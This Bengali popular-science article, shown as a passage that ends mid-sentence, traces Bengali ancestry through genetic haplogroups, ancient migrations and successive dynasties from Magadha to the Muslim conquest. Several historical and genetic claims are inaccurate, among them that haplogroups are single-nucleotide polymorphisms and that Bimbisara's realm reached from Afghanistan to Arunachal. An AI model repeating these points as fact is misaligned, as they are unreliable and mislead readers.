০৯:৪৬ অপরাহ্ন, রবিবার, ০৮ নভেম্বর ২০২৬, ২৪ কার্তিক ১৪৩৩ বঙ্গাব্দ
ইতিহাস, নৃতত্ত্ব ও জিনবিজ্ঞানের আলোকে বাঙালির আত্মপরিচয়ের অনুসন্ধান

আধুনিক ডিএনএ গবেষণা ও বাঙালির পরিচয়

জিনে লেখা বাঙালির ইতিহাস—একবিংশ শতকে দাঁড়িয়ে আত্মপরিচয়ের বৈজ্ঞানিক অনুসন্ধান (ছবিটি বিশ্লেষণ.কম কর্তৃক কৃত্রিম বুদ্ধিমত্তার সহায়তায় তৈরি)

বাঙালি জাতিসত্তার শিকড় কি আর্য-অনার্য বিতর্কে? নাকি তা লুকিয়ে আছে হাজার বছরের অভিবাসন, সংঘাত ও বিবর্তনের ইতিহাসে? এই প্রবন্ধে আলোচিত হয়েছে বাঙালির জিনগত পরিচয়, ডিএনএ গবেষণার আলোকে আমাদের উৎস, বৈচিত্র্য ও সাংস্কৃতিক অভিযোজনের বৈজ্ঞানিক ব্যাখ্যা।


বাংলার সমৃদ্ধ সাংস্কৃতিক ইতিহাসের মতোই বৈচিত্র্যময় এবং স্তরপূর্ণ বাঙালির জিনগত পরিচয় রয়েছে।  আধুনিক জিনোম (একটি কোষের জিনসমষ্টি) গবেষণায় দেখা গেছে যে, বাঙালির জিনসমষ্টি হাজার হাজার বছরের অভিবাসন, বাণিজ্য এবং সাংস্কৃতিক আদান-প্রদানের মাধ্যমে তৈরি একটি জটিল ট্যাপেস্ট্রি। সম্ভবত, পঞ্চাশ থেকে সত্তর হাজার বছর আগের কথা, যখন আদিম মানবগণ (হোমো স্যাপিয়েন্স) ক্ষুধা, কৌতূহল এবং পরিবর্তিত জলবায়ুর কারণে বিশাল, অজানা ভূখণ্ডজুড়ে ভেসে বেড়াত। তারা ছিল মূলত শিকারী।  এরা আফ্রিকা থেকে বেরিয়ে দক্ষিণ উপকূলীয় পথ ধরে, নদীগুলোকে অনুসরণ করে দক্ষিণ এশিয়ায় চলে আসে। প্রকৃতি যেখানেই তাদের বেঁচে থাকার সুযোগ দিয়েছে সেখানেই তারা বসতি স্থাপন করেছে। কেউ কেউ বর্তমান পাকিস্তান এবং উত্তর ভারত জুড়ে স্থানগুলোতে চলে গিয়েছিল, কিন্তু অন্যরা আরও পূর্ব দিকে অব্যাহতভাবে অবশেষে বাংলার উর্বর এবং আর্দ্র সমভূমিতে পৌঁছেছিল— এটি সম্ভবত ত্রিশ হাজার বছর আগের কথা। সেই ‘নেগ্রিটা’ আদিবাসীদের এই অঞ্চলে প্রাচীনতম জিনগত পদচিহ্ন পাওয়ার প্রমাণও মিলেছে। তাদের ডিএনএ-তে, বিজ্ঞানীরা মাইটোকন্ড্রীয় হ্যাপলোগ্ৰুপ M (এম) এবং R (আর) জিনগত চিহ্ন বা মার্কারগুলি আবিষ্কার করেছেন, যা আফ্রিকার প্রথম অভিবাসীদের মাতৃবংশীয়দের উত্তরসুরিদের সাথে সাদৃশ খুঁজে পাওয়া যায়। 

বাঙালি পরিচয় কোনো একক জাতি, উপজাতি বা সভ্যতা থেকে আসেনি। বরং এই বঙ্গে, এটি সহস্রাব্দের বিনিময়, স্থিতিস্থাপকতা এবং অভিযোজনের ফলাফল। ডিএনএ গবেষণা আমাদের প্রমাণ করেছে যে, অধুনাতন বাঙালি জনগোষ্ঠী জিনগতভাবে বিশুদ্ধ নয়। আমরা বহু প্রাচীন ধারার মিশ্রণ। আমরা বহু উৎস থেকে এসে মিলে মিশে এক হয়েছি। বংশ পরিচয়ের ক্ষেত্রে তিন ধরনের ডিএনএ ব্যবহৃত হয়: ১) অটোসোমীয় ডিএনএ (মানবকোষের ২৩ জোড়া ক্রোমোসোমের মধ্যে ১ জোড়া হল সেক্স-ক্রোমোসোম এবং বাকি ২২ জোড়া ক্রোমোসোমকে অটোসোম বলা হয়), যা আমরা বাবা-মা দুজনের থেকেই পায়, যেখানে সমস্ত পূর্বপুরুষদের কাছ থেকে উত্তরাধিকারসূত্রে প্রাপ্ত জিনের সংমিশ্রণ রয়েছে; ২) মাইটোকন্ড্রীয়-ডিএনএ, যা কেবলই আসে মায়ের থেকে, তাই এর মাধ্যমে মাতৃপক্ষীয় বংশপরিচয় শনাক্ত করা যায়; এবং ৩) ওয়াই-ক্রোমোসোম বা ওয়াই-ডিএনএ (Y-DNA), যার মাধ্যমে পিতৃকুলের বংশপরিচয় চিহ্নিত করা যায়। কীভাবে আমাদের জিনগত ইতিহাস বৈচিত্র্যে গঠিত, তা তুলে ধরবার প্রয়াস করেছি এই লেখায়।

বাঙালির জিনোমগঠনে বঙ্গীয় ব-দ্বীপের ভূমিকা:

বেঙ্গল ডেল্টা বা বঙ্গীয় ব-দ্বীপ বাঙালি অভিপ্রায়ণের (মাইগ্রেশন) ইতিহাসে এক গুরুত্বপূর্ণ ভূমিকা পালন করেছে। এটি গঙ্গা, ব্রহ্মপুত্রসহ বেশ কয়েকটি নদীর মিলিত জলরাশি হিসেবে বঙ্গোপসাগরে পতিত হয়, যা হিমালয়ের প্রবাহ থেকে আগত বিপুল পরিমাণে পলি বহন করে একটি বিশ্বের বৃহত্তম ব-দ্বীপ সৃষ্টি করেছে। ব-দ্বীপটির প্রায় ৬৭% হচ্ছে বাংলাদেশে এবং ৩৩% ভারতের পশ্চিমবঙ্গে অবস্থিত। সহস্রাব্দ ধরে, এই অঞ্চলটির উর্বর মাটি আকর্ষণ করেছিল বিভিন্ন আদি জনগোষ্ঠীকে, যেমন পূর্ব-এশীয় (অস্ট্রো-এশীয় ও তিব্বতী-বর্মী), দ্রাবিড় বা দক্ষিণ ভারতীয় জনগোষ্ঠী, এবং ইন্দো-আর্য। বাংলাদেশের বর্তমান উপজাতিদের মধ্যে গারো, চাকমা, মারমা সম্প্রদায় তিব্বতী-বর্মী এবং সাঁওতাল, মুন্ডা ও কোডা বা কোড়া (রাজশাহী) নৃগোষ্ঠী অস্ট্রো-এশীয় জনগোষ্ঠীকে প্রতিনিধিত্ব করে। ডিএনএ গবেষণায় দেখা গিয়েছে যে, বাঙালি জাতির জিনগত বৈশিষ্ট্য প্রাচীন দক্ষিণ-ভারতীয় বংশের সাথে উল্লেখযোগ্য পরিমাণে সাদৃশ রয়েছে। ইন্দো-আর্য অভিপ্রায়ণের অনেক আগে দক্ষিণ-ভারতীয় দ্রাবিড় ভাষাভাষী মানুষ ইতিমধ্যেই বাংলায় এসে বসতি স্থাপন করে। প্রাচীন দক্ষিণ-ভারতীয় জিনগত চিহ্ন মাইটোকন্ড্রিয় হ্যাপলোগ্রুপ ‘এম’  বাঙালি জাতির মধ্যেও প্রকট উপস্থিতি রয়েছে। একসময় বাংলায় এই প্রাথমিক দ্রাবিড় বসতি স্থাপনকারীরা সম্ভবত বিদ্যমান অস্ট্রো-এশীয় বা অস্ট্রিক সম্প্রদায় এবং আরও পুরনো শিকারী-সংগ্রাহক জনগোষ্ঠীর সাথে মিশে গিয়েছিল। ফলস্বরূপ, লিখিত ইতিহাস শুরু হওয়ার অনেক আগে থেকেই জিনগতভাবে বৈচিত্র্যময় একটি জনসংখ্যা তৈরি হয়েছিল এই বাংলায়। এই অঞ্চলের উর্বর পলিমাটি বসতি স্থাপনকারী কৃষিকাজের জন্য আদর্শ পরিবেশ তৈরি করেছিল, বিশেষ করে ধান চাষের জন্য, যা ক্রমবর্ধমান জনসংখ্যাকে সমর্থন করেছিল। ফলে, এই গঙ্গা-ব্রহ্মপুত্র-মেঘনা ব-দ্বীপ একটি  জিনতাত্ত্বিক আধারের মতো কাজ করেছিল। শুধু অভিবাসন গঠন-ই নয়, এই বর্ষা-প্রবাহিত নদীগুলি সম্ভবত হাজার হাজার বছর ধরে এই জনগোষ্ঠীগুলিকে বিচ্ছিন্ন করার ক্ষেত্রেও  একটি গুরুত্বপূর্ণ ভূমিকাপালন করেছিল। ভারতবর্ষের অন্যান্য অঞ্চলের তুলনায়, বাংলার এই মাটিতে দীর্ঘ সময়কাল ধরে জিনগত বৈশিষ্ট্য ধারাবাহিকভাবে এমন একটি ছাপ রেখে গিয়েছে যে আজ আধুনিক বিজ্ঞান কেবল সেই বৈশিষ্ট্যগুলি আবিষ্কার করতে শুরু করেছে। জিনোম গবেষণা থেকে জানা যায় যে বাঙালি জনগোষ্ঠীতে অস্বাভাবিকভাবে প্রাচীন দক্ষিণ-এশীয় বংশধরদের আধিক্য রয়েছে, যা সহস্রাব্দ পরে আসা ইন্দো-ইউরোপীয় আগমনের চেয়েও অনেক পুরনো। দক্ষিণ-এশীয় জনগোষ্ঠীর মধ্যে বিরল কিছু ওয়াই-ডিএনএ হ্যাপলোগ্রুপ [যেমন, আর-১এ, এইচ (এইচ১এ১), জে-২, এল এবং ও-এম১৭৫] ব-দ্বীপীয় গ্রামগুলিতে উচ্চ ঘনত্বে দেখা যায়। এছাড়া, মাইটোকন্ড্রীয় হ্যাপলোগ্রুপ ‘এম-৬’ সিন্ধু উপত্যকা এবং ভারতের পূর্ব উপকূলীয় অঞ্চলসহ বাংলার বা-দ্বীপ অঞ্চলেও অত্যন্ত প্রচলিত, যা ইঙ্গিত দেয় যে এসব জনগোষ্ঠী তাদের  প্রাচীন জিনগত বংশকে সংরক্ষিত  করেছে।  প্রসঙ্গত, প্রত্নতাত্ত্বিক এবং বিচ্ছিন্ন জিনগত বৈশিষ্ট্য থেকে এটাও ইঙ্গিত দেয় যে, প্রায় ৪০০০ বছর আগে, সিন্ধু উপত্যকা জলবায়ু পরিবর্তন বা ঝটিকা বন্যার মত ভয়াবহ কোনো প্রাকৃতিক কারণে মহেঞ্জোদারো এবং হরপ্পার মতো প্রধান বসতিগুলি পরিত্যাগ করে উন্নত জল এবং কৃষিক্ষেত্রের সন্ধানে, সিন্ধু উপত্যকার লোকেরা পূর্বে ও দক্ষিণ পূর্বে গাঙ্গেয় সমভূমির দিকে স্থানান্তরিত হয়। একটি গবেষণায় প্রতিফলিত হয়েছে যে, সিন্ধু সভ্যতায় বসবাসকারী ওই জনগোষ্ঠীর সাথে ৫০-৯৮% ডিএনএ ইরানি আদিমানবদের সাথে মিলে যায় (সেল জার্নাল, ২০১৯)। এদের সঙ্গে দক্ষিণ-এশীয় শিকারী সংগ্রাহকদের শত শত বছরের মিশ্রণের ফলে দ্রাবিড় বা দক্ষিণ ভারতীয় আদিমানব নামে এক জনগোষ্ঠীর উদ্ভব হয়েছিল। ভারতীয় উপমহাদেশের পূর্ব অংশে অবস্থিত তৎকালীন বঙ্গও ছিল সিন্ধু সভ্যতার অভিবাসীদের আবির্ভাবকারী অঞ্চলগুলির মধ্যে একটি।

মাইটোকন্ড্রীয় ডিএনএ এবং হ্যাপ্লোগ্রুপ:

একটি মানবকোষের নিউক্লিয়াসে ডিএনএ-র উপস্থিতি ছাড়াও, পুরুষ ও নারীদের কোষগুলিতে মাইটোকন্ড্রীয়-ডিএনএ অবস্থান করে কোষের শক্তি উৎপাদনকারী কেন্দ্র মাইটোকন্ড্রিয়ায়। কিন্তু মাইটোকন্ড্রীয়-ডিএনএ কেবল মাতৃত্বের মাধ্যমে উত্তরাধিকারসূত্রে তার সকল সন্তান, ছেলে ও মেয়ে উভয়ের কাছেই সঞ্চারিত হয়। অর্থাৎ পুরুষদের মাইটোকন্ড্রীয় ডিএনএ পরবর্তী প্রজন্মে প্রবাহিত হয় না।  প্রসঙ্গত, বংশধর পেতে নারীর জরায়ুর গভীরে যখন একটি শুক্রাণু একটি ডিম্বাণুকে নিষিক্ত করে, তখন শুক্রাণুর সমস্ত অংশ ডিম্বাণুতে প্রবেশ করে না। মাইটোকন্ড্রীয় ডিএনএ বিশিষ্ট শুক্রাণুর লেজের অংশটি ডিম্বাণুতে প্রবেশের অনুমতি পায় না, ফলে পুরুষের মাইটোকন্ড্রীয়-ডিএনএ উত্তরাধিকারসূত্রে প্রবাহিত হয় না।

মাইটোকন্ড্রীয় হ্যাপলোগ্রুপগুলির নামকরণ সাধারণত ইংরেজি অক্ষর (এ থেকে জেড) দ্বারা চিহ্নিত করা হয়, এবং তাদের উপ-শাখাগুলি সংখ্যাসূচক/অক্ষরের সংমিশ্রণ ব্যবহার করে করা হয়। উদাহরণস্বরূপ, এইচ, এইচ-১, এইচ-১এ, এইচ১এ১ ইত্যাদি। হ্যাপ্লোগ্রুপ, যা একক-নিউক্লিওটাইড পলিমরফিজম নামেও পরিচিত, হল একধরনের জেনেটিক গ্রুপিং  বা জেনেটিক গোষ্ঠী, যার মাধ্যমে পিতৃতান্ত্রিক বা মাতৃতান্ত্রিক বংশের পরিচয় পাওয়া যায়, অর্থাৎ পিতামাতা থেকে সন্তানদের কাছে অপরিবর্তিতভাবে সঞ্চারিত হওয়ায়, এটি পূর্বপুরুষদের খুঁজে পেতে একটি সাহায্যকারী সাধনী হিসেবে ব্যবহার করা যায়। মাতৃতান্ত্রিক বংশের জন্য মাইটোকন্ড্রীয়-ডিএনএ এবং পিতৃতান্ত্রিক বংশের জন্য ওয়াই-ডিএনএ এর নির্দিষ্ট জেনেটিক মার্কার বিশ্লেষণের মাধ্যমে তাদের শনাক্ত করা হয়। উদাহরণস্বরূপ, বাংলাদেশে বাঙালিদের মধ্যে প্রাথমিকভাবে মাইটোকন্ড্রীয় হ্যাপ্লোগ্রুপ ‘এম’ এবং ‘ইউ’ দেখা যায়, যার মধ্যে ‘এম’ টাইপের প্রাধান্য সবচেয়ে বেশি। হ্যাপ্লোগ্রুপ ‘এম’ -এর মধ্যে রয়েছে ‘এম-৭, এম-২এ, এম-৫ এবং এম-৩’ এর মতো উপ-হ্যাপলোগ্রুপ। বাঙালিদের মধ্যে পাওয়া অন্যান্য হ্যাপ্লোগ্রুপগুলির মধ্যে রয়েছে ‘আর, এইচ, টি , জে, ডব্লিউ, এবং ডি’ ।

আগেই উল্লেখ করেছি, বাংলায় দ্রাবিড়, অস্ট্রিক, তিব্বতি-বর্মী,  এবং ইন্দো-আর্যসহ বিভিন্ন আদিগোষ্ঠীর দ্বারা বসবাস ছিল, যারা ধারাবাহিক অভিবাসনতরঙ্গে এই অঞ্চলের নানা স্থানে স্থানান্তরিত হয়েছিল এবং গঙ্গা, ব্রহ্মপুত্রসহ শাখা নদীগুলির কুল ঘেঁষে বসতি স্থাপন করেছিল। বঙ্গীয় বদ্বীপের এই প্রাথমিক বসতি এবং ভারতীয় উপমহাদেশের বিভিন্ন অংশ থেকে আসা নানা উপজাতি এবং গোষ্ঠীর আগমনের মাধ্যমে গঠিত হয়েছিল বাংলার বিভিন্ন জনপদ। বাংলায় বঙ্গ, তাম্রলিপ্ত, পুন্ড্র, রাঢ় এবং গৌড়ের মতো বিভিন্ন গোষ্ঠীর জনপদ সৃষ্টি হয়েছিল, যারা পরবর্তীতে রাজ্য ও সাম্রাজ্য গঠন করেছিল। বৈদিক যুগে, বাংলার জনপদগুলি গঠিত হয়েছিল, সাধারণত ১০০০ থেকে ৫০০ খ্রিস্টপূর্বাব্দের মধ্যে। আধা-যাযাবর জীবনধারা থেকে স্থায়ী কৃষিতে রূপান্তর এই জনপদের বিকাশে গুরুত্বপূর্ণ ভূমিকা পালন করেছিল।

মগধ সাম্রাজ্য এবং বাঙালি ডিএনএ:

মগধ সাম্রাজ্য, প্রাচীন ভারতের ষোলটি মহাজনপদ (বৃহৎ রাজ্য) এর মধ্যে একটি, যা পূর্ব-গাঙ্গেয় সমভূমিতে একটি শক্তিশালী রাজ্য ছিল। এটি দ্বিতীয় নগরায়নের সময়কালে আবির্ভূত হয়েছিল এবং জৈন ও বৌদ্ধ ধর্মের বিকাশে গুরুত্বপূর্ণ ভূমিকা পালন করেছিল। বুদ্ধের সময়ে এটি ছিল ভারতের চারটি প্রধান রাজ্যের মধ্যে একটি। হর্ষঙ্ক রাজবংশের (খ্রীষ্টপূর্ব ৫৪৪-৪১৩) প্রতিষ্ঠাতা ‘বিম্বিসার’ এর মতো শাসকদের অধীনে মগধের বিস্তৃতি ছিল আফগানিস্তান ও পাঞ্জাব থেকে ‘বঙ্গ’ হয়ে অরুণাচল পর্যন্ত। মগধ গঙ্গা নদীর তীরে তার কৌশলগত অবস্থানের জন্য পরিচিত ছিল, যা এই অঞ্চলের বাণিজ্য এবং নিয়ন্ত্রণকে সহজতর করেছিল। এই সাম্রাজ্যের রাজধানী ছিল পাটলিপুত্র, যা বর্তমানে পাটনা, বিহারের রাজধানী। মগধ সাম্রাজ্যের রাজবংশ, বিশেষ করে নন্দ রাজবংশ, খ্রীষ্টপূর্ব ৩৪৫ সালের দিকে বাংলা জয় করে। এটি অবশেষে নন্দ রাজবংশের উত্তরসূরি মগধের মৌর্য রাজবংশের মূল কেন্দ্র হয়ে ওঠে। রাজা অশোকসহ মৌর্যবংশের অন্যান্য শাসকরা বাংলা শাসন করে ১৩৭ বছর (৩২২-১৮৫ খ্রীষ্টপূর্ব)। মগধ রাজবংশের কেন্দ্রীয় ভাষা ছিল প্রাকৃত (মগধি-প্রাকৃত: মধ্য ইন্দো-আর্য ভাষা), যদিও মৌর্যবংশে পালি ভাষাও প্রচলিত ছিল।

মগধ সাম্রাজ্য, প্রাচীন ভারতের ষোলটি মহাজনপদ (বৃহৎ রাজ্য) এর মধ্যে একটি, যা পূর্ব-গাঙ্গেয় সমভূমিতে একটি শক্তিশালী রাজ্য ছিল।
মগধ সাম্রাজ্য, প্রাচীন ভারতের ষোলটি মহাজনপদ (বৃহৎ রাজ্য) এর মধ্যে একটি, যা পূর্ব-গাঙ্গেয় সমভূমিতে একটি শক্তিশালী রাজ্য ছিল।

মগধ সাম্রাজ্য এবং বাঙালিদের ডিএনএ-র মধ্যে সংযোগ মূলত ঐতিহাসিক মিথস্ক্রিয়া এবং অভিবাসনের মাধ্যমে। গবেষণায় দেখা গিয়েছে যে, মগধ সাম্রাজ্যের জনসংখ্যার উপর উত্তরভারতীয় আদি মানবজাতির (যারা মধ্য-এশীয়, মধ্য প্রাচ্য এবং পশ্চিম-ইউরেশিয়ার উত্তরসূরি) সাথে সম্পর্কিত উত্তর-ভারতীয় বংশধরদের জিনগত প্রভাব ছিল। মগধ সাম্রাজ্যের অন্তর্ভুক্ত বাংলার এই অঞ্চলটিতে মগধের উত্তর-ভারতীয় বংশধরদের আগমনসহ দক্ষিণ-এশিয়ায় মানুষের প্রাথমিক অভিবাসন এবং পরবর্তীতে  অস্ট্রো-এশীয়, ইন্দো-আর্য এবং অন্যান্য গোষ্ঠীর আগমন এই অঞ্চলের জিনগত গঠনকে আরও বৈচিত্র্যময় করে। সে সময়ে এই অঞ্চলে প্রধান ওয়াই-ডিএনএ হ্যাপ্লোগ্রুপ ছিল এইচ, এল এবং আর-২। সম্প্রতি, ১০০০ জিনোম প্রকল্পের আওতায় সংগৃহিত বাংলাদেশের বাঙালিদের ডিএনএ বিশ্লেষণ করে দেখা যায়, উত্তর-ভারতীয় আদিমানব (সিন্ধু সভ্যতার মানুষ এবং ইউরেশিয়ান স্টেপ্প পশুপালকদের মিশ্রণ)জাতির অবদান শতকরা ৫৫.৭ এবং দক্ষিণ-ভারতীয় জনগোষ্ঠীর অবদান ১২.৩ % (নেচার জার্নাল, ২০১২; ২০১৫)।

গুপ্ত রাজবংশ এবং বাঙালি জনগোষ্ঠীর বিকাশ:

মগধ সাম্রাজ্যের, বিশেষকরে মৌর্যবংশের পতনের পর, বেশ কয়েকটি রাজবংশ বাংলা শাসন করে। তম্মধ্যে, গুপ্ত সাম্রাজ্যের গুপ্ত শাসকরা (খ্রিস্টীয় ৩২০-৫৫০) ছিলেন ধর্মপ্রাণ বৈষ্ণব হিন্দু, কিন্তু তারা বৌদ্ধ ও জৈনসহ অন্যান্য ধর্মীয় সম্প্রদায়ের প্রতি সহনশীলতার জন্য পরিচিত ছিলেন। গুপ্ত সম্রাট কুমারগুপ্ত-১ এর শাসনামলে (৫ম শতাব্দীতে) নালন্দা বিশ্ববিদ্যালয় প্রতিষ্ঠিত হয়েছিল এবং বিশ্ববিদ্যালয়টি ৬০০ বছরেরও বেশি সময় ধরে বিকাশ লাভ করেছিল। গুপ্ত রাজবংশকে পরাজিত করে বাংলা অঞ্চলে গৌড় রাজ্য প্রতিষ্ঠিত করেছিলেন গুপ্তবংশজাত স্বাধীন পরাক্রান্ত নৃপতি ‘শশাঙ্ক’।  তাঁর শাসনকাল ছিল ৫৯০ থেকে ৬২৫ খ্রিস্টাব্দ, অথবা ৬০০-৬৩৬/৭ খ্রিস্টাব্দ পর্যন্ত। শশাঙ্ককে এই অঞ্চলের, অর্থাৎ গৌড়দেশের প্রথম স্বাধীন রাজা হিসেবে বিবেচনা করা হয়। (সূত্র: রাখালদাস বন্দ্যোপাধ্যায়- বাঙ্গালার ইতিহাস)।  এর মূল অঞ্চলগুলি বর্তমানে ভারতের পশ্চিম বাংলা রাজ্য এবং বাংলাদেশের উত্তর অংশে অবস্থিত ছিল, যার রাজধানী ছিল কর্ণসুবর্ণ (আধুনিক মুর্শিদাবাদ শহরের কাছে)। গৌড় অঞ্চল, বিশেষ করে গৌড়ের মতো শহরগুলি বাণিজ্য কেন্দ্র হয়ে ওঠে, যা উত্তর ভারত, মধ্যপ্রাচ্য এবং মধ্য-এশিয়াসহ বিভিন্ন অঞ্চল থেকে অভিবাসীদের আকর্ষণ করে- তাদের ডিএনএ এসে মিশে বাংলায় বসবাসরত জনপদের সাথে। গৌড় রাজবংশে অফিস-আদালতে ও মানুষের কথ্য ভাষা ছিল প্রত্ন/প্রাচীন বাংলা- মগধি-প্রাকৃত ও গৌড়ি প্রাকৃত ভাষার একটি বিবর্তিত রূপ। শশাঙ্ক হর্ষবর্ধনের কাছে পরাজিত হলে গৌড় রাজ্য তথা বাংলা অবশেষে হর্ষবর্ধনের সাম্রাজ্যের অন্তর্ভুক্ত হয়। রাজা শশাঙ্কের মৃত্যুর পর পাল রাজবংশের উত্থান পর্যন্ত এক বিশৃঙ্খল ও অরাজক শাসনহীন পরিস্থিতি বিরাজমান ছিল, যা “মাৎস্যন্যায়” নামে পরিচিত, অর্থাৎ সবলরা দুর্বলদের উপর অত্যাচার করতো।

সম্রাট দ্বিতীয় চন্দ্রগুপ্তের অধীনে গুপ্ত সাম্রাজ্য (৩৭৫-৪১৫ খ্রিষ্টাব্দ)
সম্রাট দ্বিতীয় চন্দ্রগুপ্তের অধীনে গুপ্ত সাম্রাজ্য (৩৭৫-৪১৫ খ্রিষ্টাব্দ)

খ্রিস্টপূর্ব চতুর্থ-তৃতীয় শতাব্দী থেকে গুপ্ত রাজবংশের ‘তাম্রলিপ্ত’ এর মতো প্রাচীন বন্দর শহরটিতে সামুদ্রিক বাণিজ্য প্রসারিত হওয়ার সাথে সাথে, বাংলা নিজেকে একটি সাংস্কৃতিক এবং জিনগত সংযোগস্থলে পরিণত করেছিল। বঙ্গোপসাগরের একটি বিশিষ্ট বন্দর হিসেবে, যা বর্তমানে  তমলুক (পূর্ব মেদিনীপুর, পশ্চিম বাংলা) নামে পরিচিত, ওই প্রাচীন তাম্রলিপ্ত বন্দরটি ভারত মহাসাগরের ওপারে সমুদ্রপথে বাংলার অভ্যন্তরকে সংযুক্ত করেছিল। তাম্রলিপ্ত বন্দর থেকে বিশেষ করে গুপ্ত রাজবংশের সময়, সিলন, জাভা, চীন এবং পশ্চিমের মতো বিভিন্ন অঞ্চলের সাথে বাণিজ্যের সুবিধা ছিল, যা আন্তর্জাতিক ও অভ্যন্তরীণ উভয় অভিবাসনকেও সহজতর করেছিল। তারা যে কেবল পণ্য-বাণিজ্যই করেছিল তা নয়, তারা স্থানীয় সম্প্রদায়ের সাথে বিবাহবন্ধনের মাধ্যমে তাদের জিনপুলও রেখে গিয়েছিল। তাদের মধ্যে কেউ কেউ বাংলার উপকূলে বসতি স্থাপনও করেছিল। আধুনিক ডিএনএ গবেষণায় দেখা গিয়েছে, কিছু বাঙালি জনগোষ্ঠীর মধ্যে এমন জিনগত মার্কার রয়েছে, যা দক্ষিণ-পূর্ব এশীয়, মহাসাগরীয় এবং এমনকি আফ্রিকান বংশের সাথে সারিবদ্ধ। এই সামুদ্রিক সংযোগগুলির মধ্যে কিছু প্রাচীনতম দক্ষিণ-পূর্ব এশিয়ার অস্ট্রোনেশীয়-ভাষী নাবিকদের মাধ্যমে এসেছিল। তাদের জিনগত অবদান গৌণ, তবে নির্বাচিত উপকূলীয় জনগোষ্ঠীতে পাওয়া ওয়াই-ক্রোমোজোমীয় হ্যাপলগ্রুপ ‘জে-১’ দৃশ্যমান। বিদেশি ব্যবসায়ীরা, বিশেষ করে আরব ও পারস্য অঞ্চল থেকে, খ্রিস্টীয় ৭ম শতাব্দীর প্রথম দিকে বাংলায় এসে বসতি স্থাপন শুরু করে। বৃহত্তর বাঙালি জনসংখ্যার উপর গবেষণায় দেখা যায় যে, আদিবাসী দক্ষিণ-এশীয় জিন এবং অভিবাসনের একাধিক তরঙ্গের প্রভাবের মিশ্রণ দেখা যায় চট্টগ্রাম, মংলা এবং বরিশালের মতো উপকূলীয় অঞ্চলে। এই গল্পগুলি লোককাহিনী বলে মনে হতে পারে, তবে আধুনিক জিনবিজ্ঞান এগুলিকে বৈধতা দিতে শুরু করেছে। 

পাল রাজবংশ ৮ম শতাব্দী থেকে শুরু করে প্রায় ৪০০ বছর ধরে বাংলা শাসন করেছে।  তাদের যুগ, প্রায় ৭৫০-১১৫০ খ্রিস্টাব্দ, বাংলার জন্য একটি গুরুত্বপূর্ণ সময়। এই সময়কালে পূর্ব-এশীয় মানুষ (সম্ভবত অস্ট্রো-এশীয় কৃষক) এবং “পূর্বপুরুষ দক্ষিণ ভারতীয়” এর মিশ্রণ দেখা গিয়েছে, যা বাংলার জিনগত ভূদৃশ্যে অবদান রেখেছে। উল্লেখ্য যে, বাংলাদেশের পাহাড়পুরে অবস্থিত সোমপুর মহাবিহার পাল রাজবংশের দ্বিতীয় শাসক ধর্মপাল দ্বারা প্রতিষ্ঠিত হয়েছিল, যা কয়েক শতাব্দী ধরে শিক্ষা ও ধর্মীয় অনুশীলনের জন্য একটি উল্লেখযোগ্য বৌদ্ধ কেন্দ্র হিসেবে কাজ করেছে। 

খ্রিস্টীয় একাদশ শতাব্দীর শেষের দিকে, দক্ষিণ ভারত (কর্ণাটক) থেকে একটি অভিবাসন ‘সেন রাজবংশ’কে বাংলায় নিয়ে আসে। সেন রাজবংশ একাদশ ও দ্বাদশ শতাব্দীতে বাংলায় শাসন করেছিল। শাসন শুরু হয়েছিল হেমন্তসেন দ্বারা এবং শেষ হয়েছিল মুসলিম বিজয়ের মধ্য দিয়ে রাজা লক্ষ্মণ সেন ও কেশবসেনের পরাজয়ের মধ্য দিয়ে। সেন-রা বাংলায় হিন্দুধর্ম এবং সংস্কৃত সাহিত্য প্রচারের জন্য পরিচিত। এছাড়া, ইন্দো-আর্য অভিবাসন বাংলাসহ ভারতীয় উপমহাদেশের জিনতাত্ত্বিক এবং সাংস্কৃতিক ভূদৃশ্য গঠনে গুরুত্বপূর্ণ ভূমিকা পালন করে। ইন্দো-আর্যরা, যারা প্রায় ৩,০০০ বছর আগে মধ্য-এশিয়া থেকে ভারতে চলে এসেছিল বলে মনে করা হয়, তারা সেন রাজবংশসহ এই অঞ্চলের অনেক সংস্কৃতির পূর্বপুরুষ। মৌর্যদের পরে শাসনকারী মগধের গুপ্ত রাজারা বাংলায় ব্রাহ্মণ্যবাদকে প্রচার করেছিলেন এবং এই অঞ্চলের সাংস্কৃতিক পরিচয়ে আরও অবদান রেখেছিলেন। 

বাংলায় মুসলিম শাসন এবং বাঙালি জাতিগোষ্ঠীর জিনগত গঠন:

ত্রয়োদশ শতাব্দীর গোড়ার দিকে, মধ্য-এশীয় তুর্কি ও ফার্সি ভাষাভাষী অঞ্চলের কেন্দ্রস্থলে সাম্রাজ্যের উত্থান ও পতন ঘটে এবং সে সময়, তাদের যোদ্ধা, পণ্ডিত এবং আধ্যাত্মিকরা ভারতের দিকে অগ্রসর হয়। ১২০৩ খ্রিষ্টাব্দে, তুর্কি সামরিক জেনারেল মুহাম্মদ বিন বখতিয়ার খিলজি বাংলায় বজ্রপাতের ন্যায় এক আক্রমণ পরিচালনা করেছিলেন। খিলজি সেনাবাহিনী কোনও একক জাতিগোষ্ঠীর সমন্বয়ে গঠিত ছিল না, এটি ছিল তুর্কি, আফগান, ফার্সি, এমনকী মঙ্গোল পুরুষদের একটি দল। বখতিয়ার খিলজি কর্তৃক সেনবংশের শেষ রাজা লক্ষণসেনের পরাজয়ের মধ্য দিয়ে এবং নালন্দার প্রাচীন বিশ্ববিদ্যালয়সহ বৌদ্ধধর্মের প্রাচীন স্থাপনাগুলি ধ্বংসের মাধ্যমে বাংলায় মুসলিম শাসন শুরু হয়, যে মুসলিম শাসনের স্থায়ীত্ব ছিল ১৮ শতকের মাঝামাঝি সময়ে ব্রিটিশ বিজয় পর্যন্ত। তাদের সামরিক শক্তির সাথে বাংলার এই জনগোষ্ঠীতে তারা এনেছিল নতুন রক্তধারা, নতুন জিনপুল। তারা তাদের সাথে নতুন ভাষাও নিয়ে এসেছিল: প্রশাসনের জন্য ফার্সি, ধর্মের জন্য আরবি এবং ছাউনির জীবনের জন্য তুর্কি উপভাষা। জিনগত গবেষণায় দেখা গিয়েছে, কিছু বাঙালি মুসলিম, বিশেষ করে যারা অভিজাত বা জমিদার শ্রেণির পূর্বপুরুষ, তারা মধ্য-এশীয় জনগোষ্ঠীর সাথে সম্পর্কিত জিনগত ‘ওয়াই-ডিএনএ’ হ্যাপ্লোগ্রুপ বহন করে। এর মধ্যে রয়েছে ইরানি এবং তুর্কি পৈতৃক বংশধারা। এই নতুন বসতি স্থাপনকারীরা স্থানীয় নারীদের সাথে বিবাহবন্ধনে আবদ্ধ হয়েছিলেন, যাদের অনেকেই 